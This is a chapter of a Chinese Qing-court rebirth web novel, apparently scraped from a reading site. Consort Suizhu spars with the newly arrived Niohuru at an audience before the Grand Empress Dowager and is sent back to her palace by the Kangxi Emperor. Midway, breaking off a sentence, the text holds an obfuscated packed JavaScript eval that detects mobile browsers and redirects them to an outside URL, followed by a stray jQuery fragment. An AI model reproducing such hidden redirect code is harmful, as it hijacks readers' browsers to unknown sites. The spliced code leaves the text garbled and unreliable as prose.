穗珠仔细一瞧,这不正是钮祜禄氏么。
曾经的温僖贵妃,十阿哥的生母嘛。
这么多年过去,要不是人搁自己眼前,她都认不出来了。
“诸位娘娘,这位正是永寿宫钮祜禄娘娘,昨天夜里刚进宫。”
众人你看我,我看你,最后齐齐看向贵妃。
钮祜禄虽享妃位待遇,但是又未正式册封,一时间也不知该如何称呼她。
贵妃坐在左侧下首,她昨天夜里就知道钮祜禄氏进宫了,太皇太后对她极为不满,虽然当时并未罚她,但是她知道今天这一次请安必然很是艰难。
她是贵妃,皇上自然将后宫的事务交到了她手里。
后宫没有皇后,至于各宫每隔三日去承乾宫那也不叫请安,只是聚在一起说说后宫之事而已。
但她绝不允许有人破坏掉这个规则,为何要让她让出手里的宫务?就连皇上也没说过!
她今日也穿着一身银红宫装,踩着花盆底端端正正地坐在圈椅上。
自始至终也没将目光投向钮祜禄氏。
她曾见过这位孝昭皇后的妹妹。
不过这位钮祜禄氏无论容貌还是品性上来说,都并不出彩。
但是看其言行,面上又做得光滑,特别是在太皇太后和太后跟前。
不过既是太皇太后身边的苏麻喇姑亲自介绍,贵妃自然要卖个面子。
“原是孝昭皇后的妹妹呢,”她似乎陷入回忆里,“时间过得可真快啊,孝昭皇后也去了这些年了,我十五年进宫时,也曾一睹过皇后的风采。”
说到这里,她终于掀开眼皮,看向钮祜禄氏,“不过,钮祜禄妹妹长得和皇后可有些不像呢。”
贵妃佟佳氏一脸惋惜的表情,眼神却很不屑。
她捏着帕子随意地上下打量了一番此女。
一身绿色纱缀绣立领偏襟四季花卉修身袍子,外头套着一件品月色花纹坎肩,看着是一样的料子和针法。
脖颈处还系着一根领巾,加上踩着流苏花盆底,打扮得很庄重、华贵。
只看衣裳领口、袖口、裙边的精致绣样,走动间花样的多重变化,也知道她花了多大的力气来展现自己。
只是这张脸嘛,就没有孝昭皇后的端庄优雅了。
她佟佳·宝珠可是诚心诚意地敬重孝昭皇后的,这虽说不是从一个额涅肚子里爬出来的,但这差得有些远了吧。
也不过如此。
钮祜禄氏刚进宫就被人眼神羞辱,她站在贵妃对面,脸气得发红,咬着牙,一字一句像是从牙缝里挤出来一样,“那贵妃娘娘观察得可真是仔细。”
这是个不会受气的主。
穗珠瞄了一眼贵妃,看她气定神闲的喝了一口茶,并不接钮祜禄氏的话。
无视,这就是实实在在的打人脸了。
这时惠嫔却接过话头,她坐在穗珠前头,只见她探身上前朝太皇太后笑了笑。
接着对着钮祜禄氏说道:“如今都是姐妹了,长得像不像的不重要,只要都能伺候好皇上,为皇上分忧才是最紧要的。”
坐在钮祜禄氏后座的荣嫔闻言也笑着点点头,而后赞同声此起彼伏。
穗珠似乎还听见了身后的安嫔的咯咯笑声,只僖嫔安安静静地低着头坐在后头并不搭话。
“行了,都坐下吧。”太皇太后终于发了话,余下的人自是都安安静静地坐好。
“钮祜禄氏主位永寿宫,皇帝下诏以妃位待之。在这后宫之中,你们往后都要和睦相处才是。”太皇太后几句话就下了定论。
“是,奴才谨记。”众人又是跪下听训。
太皇太后和太后虽不干涉宫务,但是贵妃还是要一一禀报。
贵妃一说完,太皇太后就让苏麻喇把一直放在炕桌上的紫檀木匣子打开,“凤印在此,贵妃,你看是把哪些宫务分出来?”
贵妃看见那凤印脸立刻拉了下去。
得,这都是神仙打架小鬼遭殃,其他人跟着就退了出来。
不过一行人也不敢走,就坐在外间候着。
穗珠坐了一会儿就觉得有一道视线在看自己,她掀了掀眼皮,正是对面的钮祜禄氏。
她一双眼睛恨不能将自己盯穿一样,穗珠皱了皱眉头,疑惑地望了过去,没想到钮祜禄氏又偏过头去不再看她。
穗珠直接开口道:“钮祜禄姐姐为何这样看妹妹?”
她钮祜禄氏不是个会受气的人,那她戴佳·穗珠重活一世,也不是来受她气的。
“这话从何说起?戴佳嫔妹妹可是看错了?”钮祜禄氏作惊讶状问道。
“哦,好吧,那是妹妹看错了。”穗珠摇了摇团扇,眼睛晃过宜嫔,就见她一脸恨铁不成钢的样子盯着自己。
钮祜禄氏这时却接了话,“妹妹不必惊讶,只是姐姐昨日夜里想来拜访时,却听说妹妹去了乾清宫里。”
说着她笑了笑,又偏过头看向穗珠,“姐姐只是想说,咱们两宫左右挨着,以后要常来往才是呢。”
穗珠前世并未觉得嫔妃们围在一起讨论谁谁侍寝的事,有什么不对,现在她觉得是自己想法大错特错,因为被讨论的不是她而已。
慈宁宫里的奴才打开门又进来加了些冰砖,屋外的芍药花香也被带了进来。
宜嫔也顿了顿,她轻轻嗅了嗅,这味儿好熟悉。
这时穗珠懒懒地开口,“姐姐也不必担心,昨儿夜里,乾清宫没有叫水。”
“混账!”
那两小太监吓得冰砖“嘭”地一声掉在方形勾边群马奔腾地毯上。
屋里安静至极,众人恨不得包住自己的耳朵。
安嫔吓白了一张脸,她现在又走回清雅娴静的路子,脸上也不摸厚厚的粉了,有时看着她和那拉氏时时讨论着胤禶阿哥的日常琐事,两人相处得很好的样子,穗珠都会陷入深深的思考当中。
都这时候了,她还在想别人。
皇上站在原地,气得胸口不断起伏,一下朝,他就从乾清门赶了过来给瑪嬷和嫡额涅请安。没想到刚走到门口就听见她的混账话!
“梁九功。”
“是,皇上。”
“即刻将戴佳嫔送回启祥宫。”
这,这,梁九功为难了。
穗珠原和旁人一样跪倒在地,听到了皇上的话,这会儿她动作又快了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567190|204800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她立刻转过身来朝屋里的太皇太后和太后磕头行礼,然后站起来朝赶出来的苏麻喇姑福礼笑了笑,接着绕过皇上身边,连他的手臂也未碰到分毫。
“梁公公,走吧。”说完踏步直接向外走去,她心里隐约知道,皇上不会真的罚她。
今天真是看了好大一出戏,这可比戏台子上唱得好多了,戴佳嫔娘娘的一身风采从承乾宫又带到了慈宁宫里。
康熙闭了闭眼,再睁开时,眼里只有冷意。
他动了动手指关节,拇指压在食指上发出“咔咔”的声音,屋里太皇太后听见声音就叫他进去。
穗珠踏过慈宁宫的门槛,轿子也不乘了,直接开口喊人,“新雨,新雨。”
“主子?”新雨和李福几人都候在慈宁宫宫门口正说着话呢,一眼望去,只有主子一人站在门口。
可是皇上不是才进去吗?这是怎么回事?几人连忙小步快走。
“主子。”
“轿子抬上,咱们回宫。”
这是怎么了?几人瞪大了眼睛。
“愣着干什么?快去。”
几人都不知道发生了什么事,又见梁公公跟在主子身后使眼色,赶忙手忙脚乱的收拾好回了启祥宫。
刚回启祥宫,就接到圣意,觉禅答应升为贵人了。
贵妃手里的宫务分出一部分交给永寿宫妃娘娘。
除此之外,乾清宫的奴才还带来一个消息:太子爷下个月就要过生辰啦,专门嘱咐启祥宫的戴佳嫔娘娘要好好给他送礼。
穗珠站在院子里笑着说知道了。
“主子,说是昨儿夜里,觉禅贵人小产了。”
“嗯,知道了,去磨墨。”穗珠点点头,这事叫人猝不及防,她有些心乱,还是给那未出生的孩子抄些经文吧。
慈宁宫里,次间里只余太皇太后、太后和皇上三人,太皇太后有些头疼,“皇帝,这戴佳嫔着实不成样子。”
“姑爸爸,”太后有些不赞同,“那钮祜禄氏也是,打听那个干嘛。再说美人嘛,是要有些脾气才行,那才有凡人样呢。”
太后在科尔沁草原上长大,那里的美人都气性大,有什么说什么,没有那些个弯弯绕绕,话说曾经她也是个甩马鞭的小姑娘呢。
“她就这么入了你的眼?怎么,你那帕子也用掉色儿了吧。”
“嗳,那哪能呢,一大匣子呢。”太后眯着眼笑着摇摇头,她今天穿了一件青黛色对襟褂子,看起来就很和蔼。
她把手里的帕子递到皇上跟前,“喏,皇帝瞧瞧吧,看看穗珠送给我的帕子和送给你的一样吗?”
青黛色的手帕呈方形样,大约一尺来宽,上头绣着大朵正盛开的牡丹花。
姚黄花瓣层层叠叠,四周绕着几朵较小且丰满的魏紫,金黄色和紫红色放在一处,看着庄重又华贵。
康熙沉着脸,他虽不懂刺绣,但也能看得出这帕子针线细密,绣工精湛。
“说这是京绣呢,穗珠亲手绣的,瞧瞧这花样一副皇家气派。”说罢太后就将帕子收了回去,又招呼着苏麻喇姑一起出去煮奶茶。
两人走后屋里又渐渐安静了下来。